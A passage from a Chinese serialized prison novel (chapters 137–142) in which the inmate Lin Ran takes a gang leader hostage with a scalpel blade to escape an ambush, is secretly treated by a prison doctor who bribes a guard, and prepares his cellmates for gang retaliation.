这一下太突然,太不合常理。谁能想到一个被三把刀指着、眼看就要血溅当场的人,不去拼死一搏或跪地求饶,反而扑向看似置身事外的“大佬”?
小霸王瞳孔骤然收缩,他反应不慢,常年混迹底层的本能让他立刻沉肩、抬手,想格挡或者给这不知死活的家伙一下狠的。
但他错估了两点:
林燃扑来的速度,根本不是力竭之人该有的,那是一种将剩余所有力气、包括旧伤疼痛都转化为爆发力的决绝;二是林燃的目标。
林燃根本没想攻击他。
在身体即将撞上小霸王抬起的胳膊时,林燃腰肢以一种诡异的角度一拧,整个人像泥鳅般滑向小霸王的侧后方,同时,一直垂在身侧的右手闪电般探出,目标是小霸王的后颈!
不是击打,不是锁喉。
他的指缝间,不知何时夹着一片极薄、极窄、在昏黄光线下几乎看不见的金属冷光——苏念晚给的那片报废手术刀片!
冰凉的、带着细微锯齿的刀片边缘,精准地贴上了小霸王颈侧跳动的动脉。林燃的左臂同时从后方勒住了小霸王的胸口,不是要勒死他,而是将他整个人死死固定住,变成一面挡在身前的、活生生的肉盾。
整个动作在呼吸之间完成。等白癜风和那两个亡命徒,甚至周围所有看客反应过来,看到的已经是小霸王僵直的身体,和紧贴在他脖子上的那点致命寒芒。
“都别动!”
林燃的声音嘶哑,但每一个字都像铁钉,砸进死寂的锅炉房。他勒着小霸王,缓慢地向后挪了半步,背脊抵住了后面冰冷的锅炉外壳。这个位置,他只需要面对前方一百八十度的范围,后背交给了不会背叛的铁疙瘩。
“林燃!你他妈疯了?!”大眼仔第一个吼出来,脸都白了,想往前冲又硬生生刹住脚。
他没想到林燃先前只是虚张声势,居然在重围之下出手。
“我看是你才疯了。”林燃的目光越过小霸王僵硬的肩膀,钉子一样凿在大眼仔脸上,“带着外人,算计自己请来的拳手?码头帮的规矩,是背后插刀?”
大眼仔被噎得脸色一阵红一阵白,嘴唇哆嗦着,说不出话。
“王哥,”林燃的嘴唇几乎贴着小霸王的耳廓,声音低得只有他们两人能听清,但那冰冷的杀意却弥漫开来,“让你的人,还有白建国那三条狗,退后。清出一条路,到那扇门。”
他手里的刀片微微压了压。
小霸王能清晰地感觉到颈侧皮肤传来一丝细微的刺痛,随即,一点温热的液体渗了出来。不多,但足够让他浑身汗毛倒竖。他不是没经历过刀口舔血的日子,但像这样被人用一片小小的、几乎感觉不到的刀片贴着要害,生死完全系于对方指尖一丝一毫的颤动,这种体验陌生而恐怖。
第一百三十七章 裹挟
冰冷的刀锋紧贴颈动脉,细微的刺痛和那丝温热的液体,让小霸王浑身肌肉都僵住了。
他能感觉到身后林燃手臂的稳定,呼吸的平缓——这不是虚张声势,这小子真敢下手。
锅炉房里死寂一片,只有远处管道偶尔的滴水声,啪嗒,啪嗒,敲在人心上。
刀疤辉反应极快,在林燃动的同时就矮身捞起地上一截生锈的铁管,横在身前,喘着粗气,一双眼睛狼似的扫过围拢的码头帮众和白癜风那三人,额头上青筋都迸了出来。
“林燃!”大眼仔声音都变了调,想往前冲,脚抬起来又硬生生钉在地上,“你他妈知道你在干什么吗?!放开王哥!”
“我清楚得很。”
林燃的声音贴着耳廓传来,冰碴子一样刮着小霸王的神经,“不清醒的,是你们。”
小霸王眼皮狂跳。
耻辱感火烧火燎,混着那股真实的、冰冷的恐惧,在胸腔里翻搅。
多少年没被人拿刀架脖子了?还是在这种地方,被个二十出头、本该是砧板上鱼肉的小子?
“都别动。”
他从牙缝里挤出三个字,是对大眼仔,也是对白癜风那边。
颈侧的刀片随着他说话微微起伏,那刺痛感更清晰了。
白癜风停在原地,脸色难看极了。
他手里的自制短匕还举着,但手腕有些发软。
杀了林燃是投名状,可小霸王要是今天折在这儿,哪怕只是见血,码头帮的怒火……他吃不消。
旁边那一高一矮两个亡命徒,脚步也迟疑了,眼神瞟向白癜风,等着他拿主意。
北佬帮那边彻底成了看客。
小浙江不知何时点了根烟,幽幽吸了一口,烟雾遮住他半边脸,看不清表情。
疤脸靠坐在一堆废弃轮胎上,右肩简单捆着脏布,渗着血,他歪着头,看向林燃的眼神里没了之前的冰冷,反倒有点说不清道不明的东西,像是……认了。
“谈条件。”林燃没废话,声音压得低,但足够让关键几个人听见,“三点。”
“第一,清路。白癜风,带你的人,还有这边碍事的,全部退到锅炉那头。把门让出来。”
他下巴朝管道铁门的方向扬了扬。
白癜风没动,腮帮子咬得咯吱响。
“白建国!”大眼仔扭头厉喝,眼睛瞪得血红,“你聋了?!”
小霸王闭了闭眼,再睁开时,冲着白癜风的方向,极轻微地点了下头。
那意思再明白不过:照做。
白癜风胸膛剧烈起伏了几下,终于狠狠啐了一口,朝着地面。他朝两个同伙摆了下头,三人慢慢向后退去,眼睛却还死死钉在林燃身上,像三条不甘心退走的鬣狗。
码头帮的众人也在大眼仔眼神驱赶下,不情不愿地挪开,让出一条通向铁门的、狭窄而充满敌意的通道。
“第二,”林燃继续说,刀片纹丝不动,“大眼仔,你在前面带路。从这儿回三监区,沿途要是有一个蹲坑埋伏的,我就算在王哥身上。”
大眼仔脸皮抽搐,看向小霸王。小霸王从喉咙里嗯了一声,算是同意。
“第三,”
林燃顿了顿,声音更沉,每个字都砸得很实,“王哥,你得当众起个誓。以你们码头帮的名头,还有你老子船爷的脸面,立个规矩——今天之后,码头帮,连带你们新收的这帮……”他目光扫过退到远处的白癜风,“不准再主动碰我,还有我身边312的任何人。”
他勒着小霸王的手臂紧了紧:“江湖有江湖的规矩,你坏了规矩在先,我讨个保命的承诺,不过分吧?”
小霸王没立刻吭声。起这种誓,等于当面认怂,传出去,他“小霸王”在安江监狱就不用混了。
可脖子上那点冰凉的刺痛时刻提醒着他,身后这小子是个真不要命的。
“王哥,”林燃像是猜到他心思,贴着他耳朵,气息冰冷。
“面子是别人给的,脸是自己丢的。你今天摆这局,传出去,是你不讲道义在先。我这条烂命换你码头帮少爷的命,再加一条背信弃义的名声,你说,船爷是会觉得我过分,还是觉得你……蠢?”
最后那个字,轻飘飘的,却像把锤子砸在小霸王心口。
他眼底最后那点挣扎熄灭了,取而代之的是一种深沉的、几乎凝成实质的怨毒。
“……我,王强,以码头帮和我爹王海龙的名义起誓。”
小霸王开口,声音干涩嘶哑,在寂静的锅炉房里异常清晰,“今天之后,码头帮及……及旗下兄弟,绝不再主动寻衅林燃,及其同监舍之人。违者……江湖共弃。”
话说完了,他整个人像被抽掉一股劲,肩膀塌下去半分。
林燃要的就是这个。
江湖规矩有时候比法律文书还有用,尤其是对要脸面的帮派。有了这话,至少能争取到喘息的时间。
通道清开了,大眼仔阴沉着脸,走到铁门边,推开。门轴发出刺耳的嘎吱声,后面是黑洞洞的管道入口。
“走。”林燃低喝,挟持着小霸王,开始慢慢向后挪动。刀疤辉握着铁管,倒退着跟在他侧后方,眼睛不敢离开对面那群人。
一步,两步……距离铁门越来越近。
就在林燃半只脚要踏进管道阴影的刹那,白癜风身边那个高个子亡命徒,右手极其隐蔽地、飞快地摸向自己后腰——
“后面!”刀疤辉一直盯着,猛地爆吼。
几乎同时,林燃勒着小霸王的手臂骤然发力,刀片毫不留情地压深半分,厉声道:“谁再动?!想让他先掉只耳朵?!”
“住手!你他妈疯了?!”大眼仔扭头冲着白癜风那边狂吼,额头上血管都凸了出来,“高佬!把手放下!真想害死王哥吗?!”
码头帮几个骨干也猛地向前踏出一步,眼神狠厉地盯住白癜风三人,压力瞬间转移。
被称为“高佬”的亡命徒动作僵住,手停在半空,眼神里闪过一丝不甘的凶光,但在几方逼视下,最终还是慢慢垂下了手。
白癜风脸色铁青,嘴唇动了动,没再出声。
林燃不再耽搁,迅速挟着小霸王退入管道。刀疤辉紧随而入,反手将厚重的铁门“哐当”一声带上,隔绝了外面那些怨毒的目光。
…………
第一百三十八章 逃生
管道里比锅炉房更黑,只有远处出口透进来一点惨淡的光。空气浑浊,弥漫着铁锈、灰尘和某种陈年腐水的味道。空间狭窄,两人并排都勉强,脚步声和呼吸声被放得很大,嗡嗡地回荡。
林燃依旧没松手,刀片稳稳贴着小霸王的脖子,身体紧绷如弓。刀疤辉握紧铁管,喘着粗气,警惕地注视着前方大眼仔模糊的背影。
“林燃,”小霸王忽然开口,声音在密闭空间里显得有些闷,也冷静了不少。
“你有没有想过,今天就算你回去了,以后怎么活?安江就这么大,你今天踩了我的脸,等于踩了整个码头帮的脸。我爹就算为了帮派名声,也不会轻易放过你。”
他试图让自己的语气显得推心置腹:“跟我合作。之前的事,一笔勾销。我王强说话算话。你在三监区需要人撑腰,我需要你这样的人办事。双赢。”
林燃嗤笑一声,气息喷在小霸王耳后:“王哥,你的‘合作’,就是先让疤脸在拳台上废了我,再联合白癜风堵我后路?你这信用,还不如放个屁响。”
小霸王被噎了一下。
“今天这事,是你和大眼仔先坏了道上的规矩。”
林燃继续道,声音不高,却字字清晰,“算计请来的拳手,联手仇家灭口。传出去,是你码头帮不仁不义在先。你说,是我不给你面子,还是你……自己把脸扔地上踩了?”
他顿了顿,语气里带上一点冰冷的讥诮:
“船爷要是知道,他儿子这么‘做生意’,你猜他是会觉得我过分,还是会觉得,你这接班人……差点意思?”
小霸王身体微微一震,脖颈上的肌肉绷紧了。林燃的话,像刀子,精准地剐在他最在意的地方——能力,以及在父亲眼中的分量。
管道前方透出的光渐渐亮了些,隐约能听到远处监舍走廊的模糊声响,偶尔有狱警巡逻的脚步声传来。快到监控范围了。
在即将踏入有狱警视线区域的拐角前,林燃停下脚步。他贴着小霸王的后脑,声音压成一丝冰线,钻进对方耳朵:
“王强,记住你刚才发的誓。我烂命一条,没什么可输的。光脚的不怕穿鞋的。今天之后,你,或者你的人,再敢伸一次手——”
他手里的刀片极其轻微地蹭了一下,小霸王颈侧那道细微的伤口传来清晰的刺痛。
“我保证,下次这片刀子,就不会只是贴着皮了。我会让码头帮付出的代价,比你想象得……痛得多。”
话音落下的瞬间,林燃猛地将小霸王向前用力一推!
小霸王猝不及防,踉跄着扑向前方光亮处。
几乎同时,林燃收刀片入怀,一把拉住刀疤辉,两人像影子一样,闪进管道旁一条更窄的、堆满废弃杂物的岔道,瞬间被黑暗吞没。
大眼仔慌忙扶住险些摔倒的小霸王。
小霸王站稳,第一反应是摸向自己的脖子。
指尖触到一点粘腻的血迹,不多,但格外刺目。他抬起头,看向林燃消失的那片黑暗,眼神里的怨毒几乎要滴出来,混合着一丝尚未完全散去的、被死亡擦肩而过的惊悸。
不远处,两名巡逻的狱警听到动静,正朝这边走来,手电光柱晃动着。
小霸王狠狠咬了下后槽牙,将涌到喉咙口的怒吼强行压了下去。他整了整被扯乱的衣领,遮住颈侧,脸上瞬间换上一副略显阴沉但还算平静的表情。
“王哥,你没事吧?”大眼仔低声问,语气忐忑。
小霸王没理他,只是盯着那片黑暗,看了好几秒,才从牙缝里慢慢挤出一句话,声音低得只有身边两三人能听见:
“这事儿……没完。”
但他心里清楚,至少今晚,不能再动了。林燃最后那句话,还有那毫不犹豫的一推,让他意识到——那小子,是真敢拼命。而他自己,还不想这么快就把命赌在这种地方。
他转身,朝着走来的狱警,扯出一个有点僵硬的笑容。
“没事,警官,滑了一下。”
…………
铁门在身后哐当一声锁死,312监舍那熟悉的、混杂着汗味、霉味和淡淡尿骚气的空气包裹上来时,林燃一直紧绷的后脊梁,才允许自己稍稍软下半分。
“燃哥!”
周晓阳的拐杖在地面急促地敲打了两下,他单腿蹦着迎上来,脸白得像刷了层石灰。麻杆和牛哥也从铺位上弹起来,眼神里的惊恐还没散干净。
林燃摆了摆手,没力气说话。他背靠着冰冷的铁门滑坐下去,左腿胫骨传来一阵阵钝痛,像有把锈锯子在里头来回拉。
刚才在管道里狂奔时的肾上腺素彻底退潮,留下的是全身骨头散了架似的酸软,和颈侧、肋下几处新增擦伤火辣辣的刺痛。
刀疤辉情况更糟。
他直接瘫在了门边,右手还死死攥着那截捡来的锈铁管,指关节捏得发白,左手则捂着小腹——那里挨了不知道谁的一记黑脚,此刻正翻江倒海地疼。
他大口喘着气,汗珠子混着管道里的黑灰,在脸上冲出几道狼狈的沟壑。
“水。”林燃哑着嗓子说。
麻杆立刻扑到墙角,拿起那个掉了漆的搪瓷缸,从暖水瓶里倒了半缸温水,小心翼翼端过来。牛哥则扯了条相对干净的破毛巾,浸湿了,递给刀疤辉。
林燃接过缸子,没急着喝,先仔细看了看缸壁和水面——这是监狱里养成的习惯,任何时候入口的东西,都得过一遍眼。
确认没问题,他才仰头灌了几口。温热的水流过干得冒烟的喉咙,稍微冲淡了嘴里的铁锈味。
“辉哥,伤哪儿了?”周晓阳蹲在刀疤辉旁边,想碰又不敢碰。
刀疤辉摆摆手,咬着牙慢慢松开捂着小腹的手,撩起汗衫下摆。左腹侧方一片明显的青紫正在快速浮肿,皮肤下毛细血管破裂,形成一片可怖的蛛网纹。
“妈的……”周晓阳倒吸一口凉气。
林燃也看了一眼,心里有数。骨头应该没事,是软组织挫伤,但这一下够狠,没个十天半月消不了肿。
“我这儿有药。”麻杆突然压低声音,从自己枕头底下摸出个小铁盒,打开,里面是半盒黑褐色的药膏,味道刺鼻。
林燃点点头。麻杆这人虽然胆子小,但搞这些零零碎碎的门路确实有一套。
他接过铁盒,用手指挖了一小块,先给刀疤辉腹部的伤处抹上。药膏清凉,刀疤辉紧绷的肌肉稍微松弛了点。
然后他才处理自己的伤。
第一百三十九章 战时
颈侧被小霸王挣扎时指甲划出的血痕,肋下旧伤附近新添的瘀青,还有左手关节处破皮渗血的地方。
他动作麻利,像是处理过无数次,每一处都涂抹均匀,力度不轻不重。
监舍里一时只有粗重的呼吸和药膏涂抹时细微的窸窣声。
昏黄的灯光从高高的铁窗投下来,在水泥地上切割出明暗交错的格子。
远处传来其他监舍模糊的喧哗,更显得312里这种刻意的寂静,沉重得压人。
“燃哥,”周晓阳终于忍不住,声音发紧,“到底……出啥事了?不是说打拳吗?怎么……”
“打完了。”林燃截住他的话头,把药盒盖好,扔回给麻杆,“赢了。”
“赢了?”牛哥愣愣地重复。
“赢了。”刀疤辉靠在墙上,扯了扯嘴角,那笑容比哭还难看,“赢得差点把命搭进去。”
林燃没反驳。他慢慢活动着左手的手指,关节处破皮的地方抹了药,还是疼,但还能动。他需要这双手还能动。
“都听好。”他抬起头,目光扫过监舍里四张脸。周晓阳的担忧,麻杆的惶惑,牛哥的茫然,还有刀疤辉眼底那层没散尽的狠劲儿和余悸。
“从现在开始,312,进入战时状态。”
“战时?”麻杆咽了口唾沫。
“对。”林燃的声音不高,但每个字都砸得很实,“码头帮,从今天起,不是潜在的合作方,是明确的敌人。小霸王王强,我当众踩了他的脸,拿刀片架了他脖子,逼他发了誓。以他的性子,这个仇,结死了。”
周晓阳脸色更白:“那……那怎么办?他们人多,还有外面……”
“短期之内,他不敢明着动。”林燃打断他,思路异常清晰,“我逼他当众以码头帮和他爹船爷的名义起誓,不再主动动我们。这话说出去,多少双眼睛盯着。江湖人,有时候脸面比命还重要。他今天刚丢了脸,如果立刻反悔,等于把他爹船爷和整个码头帮的信誉都扔粪坑里。他担不起这个后果。”
刀疤辉闷声道:“可暗地里呢?那帮杂碎,下黑手的路子多了去了。”
“所以我说是‘战时状态’。”林燃看向他,“暗箭难防,我们得更小心。”
…………
医务室的消毒水气味,浓得能呛出眼泪。
苏念晚戴着口罩,额发被汗水黏在鬓角,橡胶手套上沾着暗红的血渍。她正给一个在劳动时被铁片划开小腿的犯人清创,动作熟练,眼神却有些飘。
门外传来杂乱的脚步声和压抑的呻吟。
“苏医生!快!Ⅲ区转过来的,败血症,高烧四十一度!”
两个护工架着个人冲进来。那人整个右臂肿得发亮,皮肤呈现一种不祥的紫红色,从手掌到肘关节,伤口溃烂处流着黄绿色的脓液,恶臭瞬间盖过了消毒水的味道。
是豁嘴。
苏念晚心里一紧,面上却没动。她快速检查了生命体征:血压低,心率快,呼吸浅促,意识已经模糊。
“推进处置室,抽血培养,上广谱抗生素,先补液。”她声音冷静,手上已开始准备器械,“通知刘医生了吗?”
“刘医生去市里开会了,今晚回不来。”护工小夏低声说,眼神躲闪。
苏念晚手上动作顿了顿,没再问。她剪开豁嘴右臂的衣袖,露出伤口全貌——那是被缝纫机针穿透后,未经妥善处理、又在脏污环境中恶化的典型感染。针孔周围组织坏死,脓腔深及筋膜。
“怎么拖到现在才送来?”她皱眉。
“……之前白哥说,自己能处理。”一个跟着进来的、面生的犯人小声嘟囔,被旁边人瞪了一眼,立刻闭嘴。
苏念晚没再追问。监狱里这种事不少,小伤拖成大患,要么是怕被加刑隐瞒伤情,要么是上面的人压着不让报。她低头清创,镊子探入脓腔,夹出腐烂的组织和线头,动作尽可能利落,但豁嘴还是在昏迷中无意识地抽搐。
处理到一半,处置室的门被推开。
白癜风站在门口,没进来,只是盯着手术台,脸色阴沉得像暴雨前的天。他身后还跟着两个人,堵着门。
“能保住手吗?”白癜风开口,声音沙哑。
苏念晚头也没抬:“感染太深,已经血行播散。现在不是保手的问题,是保命的问题。如果抗生素压不住,可能要截肢,而且越快越好。”
白癜风腮帮子的肌肉绷紧了,半晌,从牙缝里挤出一句:“用最好的药。”
“我会尽力。”苏念晚说,心里却清楚,有些事不是药能解决的。她继续手上的工作,余光瞥见白癜风转身离开时,那背影有些佝偻,没了平日里的张狂。
豁嘴被送进临时隔断观察室挂上药后,苏念晚终于能摘下沾满血污的手套。她走到水池边,用刷子仔细刷洗每一根手指,水流冲走泡沫,却冲不散心头的烦躁。
她想起刚才清创时,旁边那个面生的犯人低声跟同伴的嘀咕:
“……听说了没?锅炉房那边,出大事了。”
“啥?”
“码头帮的小霸王,被人拿刀片架了脖子!就那个新上位的林燃!”
“我操?真假?”
“千真万确!疤脸都让他干趴了,现在还在隔壁躺着呢……”
水流声哗哗地响。
苏念晚关掉水龙头,盯着镜子里自己苍白的脸。林燃。这个名字像根针,扎在她心口最软的地方。他受伤了吗?伤得重不重?小霸王那种人,睚眦必报,他以后怎么办?
这些问题在脑子里打转,搅得她胃里一阵翻腾。
夜班交接时,苏念晚特意去药房多领了两支破伤风抗毒素、几板口服抗生素、还有纱布和碘伏。她把东西装进一个不起眼的帆布包,塞在白大褂下面。
晚上九点半,监舍楼熄灯前最后一轮巡查结束。
苏念晚换了便服——一套洗得发白的蓝色运动装,头发扎成低马尾,脸上刻意抹了点灰。她捏着帆布包,走到医疗监区与普通监区连接处的值班岗亭。
第一百四十章 女人?
今晚值班的是个年轻狱警,姓吴,刚分来不久,脸上还带着点学生气。他正靠着椅背打哈欠,看见苏念晚,愣了一下:“苏医生?这么晚还没休息?”
“吴警官,”苏念晚走近,声音压低,从兜里掏出两包没拆封的“中华”——这是上次某个犯人家属“感谢”她时塞的,她一直没动,“有点事,想请您帮个忙。”
小吴眼睛瞥见烟,喉结动了动,但马上摇头:“苏医生,这不行,有规定……”
“就十分钟。”苏念晚把烟轻轻推过去,声音更轻,带着点恰到好处的疲惫和恳求,“312监舍的林燃,白天劳动时可能伤了骨头,一直忍着没说。我是医生,总不能看着人废了。您通融一下,我悄悄进去处理完就走,绝对不惹麻烦。”
小吴犹豫了。他听说过林燃——那个接连撂倒鳄老大、笑面佛,今天又把小霸王给震住了的狠人。这种人要是真在监舍里出什么事,上面查下来,自己也得担责任。而且苏念晚是正式医生,理由正当……
“就十分钟。”小吴看了眼那两包烟,又看了眼苏念晚诚恳的脸,终于松口,“我陪您过去,在外面守着。您快点,到点我必须锁门。”
“谢谢。”苏念晚松了口气。
…………
312监舍里,灯已经熄了,只有窗外远处高墙上的探照灯光偶尔扫过,在水泥地上投下短暂的光斑。
林燃没睡。
他靠在床头,借着那点微弱的光,慢慢活动着左手手指。关节处的破皮已经结了薄痂,动起来还是疼,但灵活性没受影响。肋下的淤青在呼吸时闷痛,左腿胫骨的旧伤更是像有火在烧。
他脑子里复盘着白天的一切:疤脸的打法,小霸王的眼神,白癜风最后的退让……每一个细节都在反复咀嚼,试图找出可能漏掉的杀机。
刀疤辉躺在对面下铺,也没睡踏实,偶尔翻身时压抑的抽气声在寂静里格外清晰。
忽然,门外传来钥匙插进锁孔的轻微响动。
监舍里几个人瞬间绷紧了身体。
铁门被推开一道缝,小吴狱警的脸探进来,压低声音:“林燃,出来一下。”
林燃眼神一凛,慢慢坐起身。刀疤辉也撑着爬起来,手摸向床板底下藏着的半截木棍。
“没事。”林燃按住他,自己下床,走到门边。
门缝外,小吴让开身子,露出后面穿着运动装、脸上沾着灰的苏念晚。
林燃愣住了。
苏念晚抬头看他,眼睛在昏暗光线下亮得惊人。她没说话,只是快速扫了他一眼,目光落在他颈侧那道已经结痂的划痕上,眉头立刻皱了起来。
“进来。”林燃侧身让开。
苏念晚闪身而入,小吴在外面低声叮嘱:“十分钟,苏医生,快点儿啊。”然后轻轻带上门,没锁。
监舍里其他三个人都坐了起来,目瞪口呆地看着这个突然出现的女医生。
苏念晚却像没看见他们。她放下帆布包,直接走到林燃床边,打开随身带的小手电——光调得很暗,只够照亮局部。
“坐下,衣服脱了。”她声音很轻,却带着不容置疑的专业口吻。
林燃沉默了两秒,依言坐下,脱掉汗衫。
手电的光划过他的身体:颈侧的划伤,肋下大片青紫,左肩一道新鲜的擦伤,还有左腿胫骨上那片明显肿起的区域。
苏念晚的嘴唇抿紧了。她戴上一次性手套,先处理颈侧的伤口,碘伏棉球擦上去时,林燃肌肉微微绷了一下。
“疼?”她问。
“没事。”林燃说。
苏念晚没再问,手上动作放得更轻。她先给各处外伤消毒上药,然后手指轻轻按压林燃肋下的淤青,检查是否有骨擦音。接着是左腿,她捏了捏胫骨中段,林燃额头瞬间渗出冷汗。
“可能骨裂加重了。”她低声说,从包里拿出弹性绷带,手法熟练地给他做固定,“明天必须拍片子。”
整个过程,监舍里静的只有呼吸声和纱布摩擦的窸窣。
周晓阳、麻杆、牛哥三个人缩在各自铺位上,眼睛瞪得老大,看看苏念晚,又看看林燃,想交换眼神又不敢,表情精彩极了。
谁都看得出来,这位苏医生对燃哥……不一般。那眼神里的担心,手上的小心翼翼,还有刚才进门时那一瞬间几乎藏不住的慌乱,根本不是普通医患关系该有的。
但没人敢吭声。林燃就坐在那儿,光着上身,任由苏念晚处理伤口,脸上没什么表情,可那股子无形的压迫感,让所有想调侃的念头都冻在了喉咙里。
好不容易处理完,然后她转向刀疤辉:“你,过来。”
刀疤辉愣了愣,看向林燃。林燃点了点头。
刀疤辉龇牙咧嘴地挪过来,掀起衣服露出腹部的伤。苏念晚检查后,脸色更沉:“这一脚再往上点,脾脏就破了。”她重新给他清创上药,包扎得更专业。
处理完刀疤辉,苏念晚一边收拾东西,一边压低声音快速说:“白癜风手下的豁嘴,手感染引发败血症,正在Ⅲ区抢救,可能要截肢。”
林燃眼神一动。
“他是之前被你用缝纫机针扎穿手的那个?”苏念晚问。
林燃点了点头。
苏念晚看了他一眼,那眼神复杂,有担忧,有无奈,也有一丝……了然。她没评价,只是继续说:“这事在笑面佛旧部里传开了,人心有点散。白癜风压着,但压不住。”
这是个机会。林燃立刻意识到。
苏念晚拉好帆布包,站起身:“我得走了。”她看着林燃,嘴唇动了动,似乎想说什么,最终却只挤出一句:“自己小心。”
“你也是。”林燃说。
苏念晚转身走到门边,轻轻敲了敲。小吴打开门,她闪身出去,门再次关上落锁。
监舍里重新陷入黑暗。
过了好几秒,刀疤辉才憋出一句:“燃哥,苏医生她……”
“都听见了?”林燃打断他,声音在黑暗里沉甸甸的。
“听见了。”几个人低声应道。
第一百四十一章 压服全场
林燃慢慢穿上汗衫,动作因为肋下的疼痛而有些迟缓。他靠在床头,黑暗中,眼睛亮得像两点寒星。
“豁嘴的事,是他自己找死。”林燃开口,声音不高,却字字砸在每个人耳膜上,“在车间对我下黑手,就该想到有今天。”
他顿了顿,让这句话在黑暗里沉淀。
“但你们记住,”他继续说,语气平缓,却透着股血腥的寒意,“跟了我,只要你们不背叛,外面的人想动你们,得先从我身上踏过去。豁嘴那种下场,永远不会是你们的。”
他目光扫过黑暗中的几个轮廓:“可反过来——谁要是觉得我林燃好糊弄,觉得能在我背后捅刀子,那豁嘴今天的样子,就是榜样。”
监舍里一片死寂。
只有粗重的呼吸声,和窗外遥远的、象征自由却被高墙电网隔绝的风声。
刀疤辉第一个开口,声音嘶哑:“燃哥,我这条命是你从白癜风手里抢回来的。以后你说往东,我绝不往西。”
周晓阳拄着拐站起来:“燃哥,我……我也是!”
麻杆和牛哥也赶紧表态。
黑暗中,林燃缓缓吐出一口气。
他能感觉到,经过今晚,经过苏念晚冒险来治伤、带来关键信息、还有他刚才那番话,312监舍这四个人,才真正被拧成了一股绳。
不是靠暴力压服,是靠利益捆绑,靠共同经历的危险,还有那一点点……或许能称之为“义气”的东西。
但这还不够。
外面的敌人太多,太狠。小霸王、白癜风、北佬帮、可能还有隐藏在更深处的那只陷害他的黑手。
他得更快,更狠,在更多人想把他撕碎之前,撕出一条生路。
林燃闭上眼睛,脑子里那篇准备写给谭副院长的文章,脉络渐渐清晰。
翻案,是唯一的活路。
而在那之前,他得先在这座吃人的监狱里,活下去。
…………
天刚蒙蒙亮,监舍楼道的起床哨还没吹,312里已经没人睡得着了。
刀疤辉侧躺着,腹部那片青紫在晨光里显出骇人的深紫色,呼吸重一下轻一下。
麻杆缩在墙角,耳朵贴着门板,像只警惕的土拨鼠。
牛哥蹲在便池边,慢吞吞地搓洗昨晚沾了血污的汗衫,水声哗啦哗啦,在寂静里格外刺耳。
周晓阳在狭窄的过道里挪了两步,又挪回来,眼睛时不时瞟向林燃的铺位。
林燃闭着眼,但没睡。
他在听。
听楼道里渐渐响起的脚步声、咳嗽声、金属盆磕碰的叮当声——这些都是监狱清晨固有的背景音。但今天,这些声音里混进了别的东西。
压低了的、带着兴奋的窃窃私语,像潮水般从门缝底下漫进来。
“……真的假的?小霸王被架了脖子?”
“我亲眼看见的!王强脖子上那道血印子,从医务室出来的时候还没擦干净呢!”
“疤脸呢?”
“废了!右肩胛骨那块,说是筋断了,以后抬胳膊都费劲……”
“林燃呢?人怎么样了?”
“不知道。有人说被白癜风堵在管道里打残了,也有人说码头帮当晚就找上门,312现在估计……”
话到这里戛然而止,像是说话的人突然意识到隔墙有耳。
林燃睁开眼,坐起身。
肋下的闷痛和左腿的肿胀感同时袭来,他皱了皱眉,动作却稳。昨晚苏念晚重新包扎过的绷带很妥帖,但骨头里那点伤不是绷带能解决的。他慢慢活动了一下左手手指,关节处破皮的地方结了层薄痂,动起来像有细砂纸在磨。
“燃哥……”周晓阳凑过来,声音压得极低,“外面传得……有点邪乎。”
“传什么了?”林燃下床,走到窗边。
铁窗外是灰蒙蒙的天,高墙上的电网在晨雾里泛着冷光。放风场空无一人,只有几只早起的麻雀在水泥地上蹦跳,啄食昨夜雨水冲出来的什么碎屑。
“说您把疤脸打废了,把小霸王给震住了,但自己也……”周晓阳咽了口唾沫,“说您胸骨裂了三根,左腿胫骨全碎了,是被人抬回312的。还有人说,白癜风当晚就带了人,把咱们监舍围了,要给您……”
他没说下去。
林燃扯了扯嘴角。
监狱这地方,消息传得比风快,也歪得比风邪。一件事经过三张嘴,能长出十八个样。传他伤得重,甚至传他死了,不奇怪——有人盼着他死,自然就有人愿意信他死了。
“让他们传。”林燃说,声音平静,“传得越邪,越好。”
刀疤辉撑着坐起来,龇牙咧嘴地问:“燃哥,这话怎么说?”
“人怕什么?”林燃转过身,背靠着冰冷的铁窗,“怕未知,怕看不透的东西。他们现在越传我伤得重,越传我要完,等我走出去——”他顿了顿,目光扫过监舍里几张脸,“等我好端端走出去,该怕的,就是他们了。”
麻杆眼睛亮了亮,牛哥搓衣服的手停了,连周晓阳都挺了挺腰杆。
道理简单,但管用。
监狱是个信奉丛林法则的地方,你弱,狼就扑上来;你强,狼就缩回去。但如果你明明看着要倒了,却突然又站起来——那种心理冲击,比一开始就站着更慑人。
起床哨终于响了,尖锐的哨声刺破清晨的宁静。
监舍门被狱警从外面打开,老严那张鱼泡脸出现在门口。他今天表情有点怪,不像平时那样耷拉着,反倒绷得紧紧的,眼神在林燃身上停了两秒,又迅速移开。
“312,起床!整理内务!十分钟后食堂集合!”
声音比往常低,也没骂人。
林燃心里有数了。
老严这态度,说明两件事:一,昨晚锅炉房的事,上面肯定知道了,而且暂时没打算动他;二,老严自己心里虚——他之前给白癜风递过消息,现在白癜风折了,小霸王吃了瘪,他这条夹缝里的虫,得重新找地方钻。
十分钟后,312的人走出监舍。
楼道里已经挤满了其他监舍的犯人,正排队往食堂走。往常这种时候,吵嚷声、推搡声能掀翻屋顶,今天却安静得多。
因为林燃。
第一百四十二章 信号
无数道目光像针一样扎过来。
好奇的,探究的,幸灾乐祸的,还有掩饰不住的畏惧。
林燃走在最前面,步子稳,背挺直。左腿胫骨的伤让他的步伐比平时慢一点,但每一步都踩得实。他脸上没什么表情,眼睛平视前方,像没看见那些目光,也没听见那些压得极低的议论。
“看!林燃!”
“我操……真没事?”
“不是说腿废了吗?这不走得挺好……”
“脸上连点伤都没有……”
“嘘——小点声!”
刀疤辉跟在后面,左手捂着腹部,右手下意识地攥着——虽然没东西可攥。他能感觉到那些目光从林燃身上滑开,又落到自己身上,像带着刺。他咬了咬牙,把腰杆也挺直了些。
周晓阳拄着拐,一瘸一拐地跟着,额头上全是汗。麻杆和牛哥一左一右护着他,眼神警惕地扫着四周。
从监舍楼到食堂,短短两百米的路,走得像趟雷区。
食堂里已经坐了大半。热气混着劣质油脂的味道扑面而来,嗡嗡的说话声在见到312的人进来时,骤然低了八度。
林燃目不斜视,走到312固定的位置——靠墙那排长桌的最外面。他坐下,拿起筷子,开始吃面前那碗稀得能照见人影的粥。
刀疤辉几个也坐下,埋头吃饭,但耳朵竖着。
气氛诡异。
往常这时候,白癜风那伙人早就该在斜对角那桌叫嚣了,今天却安静得出奇。林燃余光扫过去,白癜风坐在那儿,低着头喝粥,脖子梗着,那道白斑在食堂惨白的灯光下格外扎眼。他身边只坐着两个人,豁嘴不在,另外几个熟面孔也不在。
